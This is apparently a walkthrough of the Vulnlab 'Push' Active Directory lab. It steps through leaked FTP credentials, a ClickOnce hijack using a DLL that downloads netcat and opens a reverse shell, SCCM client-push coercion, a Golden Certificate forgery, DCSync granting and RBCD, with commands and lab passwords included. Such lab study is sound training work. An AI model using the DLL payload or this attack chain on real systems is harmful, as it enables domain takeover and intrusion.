Vulnlab — Push

9 min readOct 27, 2023


Push, a hard rated active directory chain, involved obtaining credentials from FTP, having write access to smb share, placing the configuration and DLL file for abusing clickonce application to gain a shell on MS01, enumerating the domain to find about SCCM agent deployed on system, coercing authentication through client push installation and gaining sccadmin account which is a local admin on the system. As MS01 was a CA server as well, this lead to Golden Certificate to escalate privileges on the domain.


21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 08-03-23 08:49PM <DIR> .config
| 08-03-23 08:49PM <DIR> .git
|_08-03-23 08:49PM <DIR> dev
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: SelfService
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-10-12T09:36:17+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: PUSH
| NetBIOS_Domain_Name: PUSH
| NetBIOS_Computer_Name: MS01
| DNS_Domain_Name: push.vl
| DNS_Computer_Name: MS01.push.vl
| DNS_Tree_Name: push.vl
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)


53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-12 09:45:12Z)
135/tcp open msrpc Microsoft Windows
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: push.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.push.vl
| Subject Alternative Name: DNS:DC01.push.vl
| Issuer: commonName=DC01.push.vl
443/tcp open ssl/https
|_ssl-date: TLS randomness does not represent time
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| ssl-cert: Subject: commonName=DC01.push.vl
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: PUSH
| NetBIOS_Domain_Name: PUSH
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: push.vl
| DNS_Computer_Name: DC01.push.vl
| DNS_Tree_Name: push.vl
| Product_Version: 10.0.20348
|_ System_Time: 2023-10-12T09:35:36+00:00
| ssl-cert: Subject: commonName=DC01.push.vl
| Issuer: commonName=DC01.push.vl
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
61236/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
61265/tcp open msrpc Microsoft Windows RPC


Having FTP enabled on MS01 with anonymous login we can enumerate the available directories

But all these directories were empty

Checking for hidden file,we’ll be able to find .git-credentials file having oliva’s password


Accessing the web server, there’s SelfService application which allows us to download setup.exe and SeflService.application

Since it requires to work with windows in order to install the setup, I skipped this part and moved on to enumerating smb with the credentials we have

PORT 445 (SMB)

Using credentials on MS01, we can enumerate the shares where we’ll find wwwroot share from the self service application is being hosted

Going into Application Files there are SelfService files

Abusing ClickOnce to gain foothold

This share is named as ClickOnce application dev share which is an easy deployment and execute technique based on user interaction, we did saw last-run.txt which is indicating that this selfservice is being executed after some time by the user

To abuse clickonce following this article , we need to place our crafted dll which will download and execute netcat on the victim machine through which we’ll gain the shell

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){

system("curl -o C:\\Windows\\Temp\\nc64.exe");
system("C:\\Windows\\Temp\\nc64.exe 2222 -e cmd.exe");

return TRUE;

Now calculating validation digest hash and including it in SelfService.dll.manifest file also updating the size of the dll file

openssl dgst -binary -sha256 \                    
SelfService.dll.deploy | \
openssl enc -base64

Also changing the value of publicKeyToken in asmv1:assemblyIdentity to 0000000000000000

We also need to edit DigestValue and size of SelfService.dll.manifestin SelfService.Application file and zeroing publicKeyToken

openssl dgst -binary -sha256 SelfService.dll.manifest | openssl enc -base64

Uploading dll, manifest and application file

After a minute we’ll see a hit on our python server and get a reverse shell as kelly.hill on netcat listener

From kelly’s desktop folder, we’ll also get her password

Having a look at the logged in users on MS01, there’s a directory for sccadmin which means that on this domain there's SCCM configured which requires to have an agent installed on domain computer for managing and deploying applications

We can verify if this domain has a sccm configured

Enumerating the domain with python-bloodhound

python3 /opt/ -d 'push.vl' -u 'olivia.wood' -p 'DeployTrust07' -c all -ns

Here we only have sccadmin in serveradmins group which doesn’t have any interesting permissions over other objects

SCCM Coercion

With SharpSCCM we can cause an authentication coercion by Client Push Installation by obtaining NTLMv2 challenge response of the user which is running SCCM with local admin privilege on the system, capturing it through responder

SharpSCCM.exe invoke client-push -t

Escalating Privileges through Golden Certificate

But sccadmin doesn’t have any ACLs as we saw from bloodhound, so the only thing left here is to enumerate ADCS, running certuil on MS01 to enumerate CA (Certificate Authority) server

So we basically have admin access on CA server which means we can extract the CA certificate and private key, with that forging a certificate for domain admin through which we can obtain the NTHash or TGT of domain admin, this is known as Golden Certificate attack.

Using certipy we can take backup of CA certificate and private key

certipy ca -u sccadmin -p '7ujm&UJM' -target-ip MS01.push.vl -backup

With the certificate and private key obtained, forging domain admin’s certificate

certipy forge -ca-pfx CA.pfx -upn administrator@push.vl -subject 'CN=Administrator,CN=Users,DC=PUSH,DC=VL'

But when trying to request TGT/NTHash we’ll face an error, KDC_ERROR_CLIENT_NOT_TRUSTED (Reserved for PKINIT)

Which is an indication that DC does not support the PKINIT which is a pre-authentication allowing to retrieve either TGT or NTHash using certificate, having a read on this article, it’s still possible to abuse this since we have the administrator’s certificate we can do the following attacks

  • Add our created machine account to DC’s msDS-AllowedToActOnBehalfOfOtherIdentity property to perform resource based delegation RCBD
  • Modify account’s password
  • Granting the low privileged user DCSync rights

This can be achieved with PassTheCert ,I’ll be going with granting DCsync rights to kelly.hill but first we need to extract the key and cert from pfx file

certipy cert -pfx administrator_forged.pfx -nokey -out administrator.crt
certipy cert -pfx administrator_forged.pfx -nocert -out administrator.key
python3 /opt/PKINITtools/ -action modify_user -crt administrator.crt -key administrator.key -target kelly.hill -elevate -domain push.vl -dc-host dc01.push.vl

Now we can run with kelly.hill

Un-Intended Way through Resource Based Delegation (RBCD)

From bloodhound we can see kelly has AllExtendedRights and WriteAccountRestrictions on MS01, which means that we can read all properties on MS01 and we can edit msDS-AllowedToActOnBehalfOfOtherIdentity to perform RBCD (Resource based constrained delegation) by having write account restrictions rights

First check if there’s machine quota available to us in order to create a computer object

Adding computer object with addcomputer from impacket -dc-ip -computer-pass TestPassword321 -computer-name UwU push.vl/kelly.hill:'ShinraTensei!'

And now adding our created machine account in msDS-AllowedToActOnBehalfOfOtherIdentity property of MS01 to impersonate users on that machine -action write -delegate-to "MS01$" -delegate-from "UwU$" -dc-ip push.vl/kelly.hill:'ShinraTensei!'

Impersonating as a local admin on MS01 by creating a ticket with getST

impacket-getST -spn 'cifs/MS01.push.vl' -impersonate administrator -dc-ip 'push.vl'/'UwU$':TestPassword321

We can completely skip the SCCM step and perform golden certificate attack from here.